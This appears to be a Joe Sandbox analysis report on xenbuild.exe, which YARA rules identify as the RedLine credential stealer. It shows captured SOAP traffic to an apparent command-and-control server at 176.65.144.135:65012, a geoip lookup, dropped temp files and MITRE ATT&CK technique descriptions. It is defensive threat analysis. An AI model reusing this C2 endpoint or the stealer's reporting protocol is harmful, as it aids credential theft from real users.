Mar 19, 2025 14:15:24.282284021 CET	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 19 Mar 2025 13:15:24 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
Mar 19, 2025 14:15:24.291937113 CET	242	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 176.65.144.135:65012 Content-Length: 928182 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
Mar 19, 2025 14:15:25.847764015 CET	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Wed, 19 Mar 2025 13:15:25 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Timestamp	Bytes transferred	Direction	Data
2025-03-19 13:15:20 UTC	64	OUT	GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive
2025-03-19 13:15:21 UTC	944	IN	HTTP/1.1 200 OK Date: Wed, 19 Mar 2025 13:15:21 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-cache access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ewqeU8UpjezGIj2108XsDKnI79RWnVZgiWN3eggT%2FFJzsl7gaoO%2FuhOKyc9KQluA2kcXAjioStFktHINsqx75J4v7i0erD0AXDYnFxK8yi7gS45%2F%2F4R7oC6V%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 922d3ceefa644337-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=9158&min_rtt=9153&rtt_var=3436&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2803&recv_bytes=678&delivery_rate=319021&cwnd=32&unsent_bytes=0&cid=cec367949a2a51f4&ts=742&x=0"
2025-03-19 13:15:21 UTC	378	IN	Data Raw: 31 37 33 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 56 65 72 69 7a 6f 6e 20 49 6e 74 65 72 6e 65 74 20 53 65 72 76 69 63 65 73 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 36 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 56 65 72 69 7a 6f 6e 20 49 6e 74 65 72 6e 65 74 20 53 65 72 76 69 63 65 73 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 37 30 31 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 55 55 4e 45 54 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 Data Ascii: 173{"organization":"Verizon Internet Services","longitude":-74.0066,"city":"New York","timezone":"America\/New_York","isp":"Verizon Internet Services","offset":-18000,"region":"New York","asn":701,"asn_organization":"UUNET","country":"United States","ip
2025-03-19 13:15:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:15:07
Start date:	19/03/2025
Path:	C:\Users\user\Desktop\xenbuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\xenbuild.exe"
Imagebase:	0xa30000
File size:	97'792 bytes
MD5 hash:	18CC3A391F8151FF2BB92CCA95FC7C70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1151438945.0000000000A32000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report xenbuild.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\xenbuild.exe.log

C:\Users\user\AppData\Local\Temp\tmp1EEA.tmp

C:\Users\user\AppData\Local\Temp\tmp1EFB.tmp

C:\Users\user\AppData\Local\Temp\tmp1F0C.tmp

C:\Users\user\AppData\Local\Temp\tmp1F1C.tmp

C:\Users\user\AppData\Local\Temp\tmp1F2D.tmp

C:\Users\user\AppData\Local\Temp\tmp1F3E.tmp

C:\Users\user\AppData\Local\Temp\tmp4361.tmp

C:\Users\user\AppData\Local\Temp\tmp4362.tmp

C:\Users\user\AppData\Local\Temp\tmp4382.tmp

C:\Users\user\AppData\Local\Temp\tmp4383.tmp

C:\Users\user\AppData\Local\Temp\tmp4393.tmp

C:\Users\user\AppData\Local\Temp\tmp4394.tmp

C:\Users\user\AppData\Local\Temp\tmp54C6.tmp

C:\Users\user\AppData\Local\Temp\tmp54D6.tmp

C:\Users\user\AppData\Local\Temp\tmp7AC2.tmp

Windows Analysis Report
xenbuild.exe

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre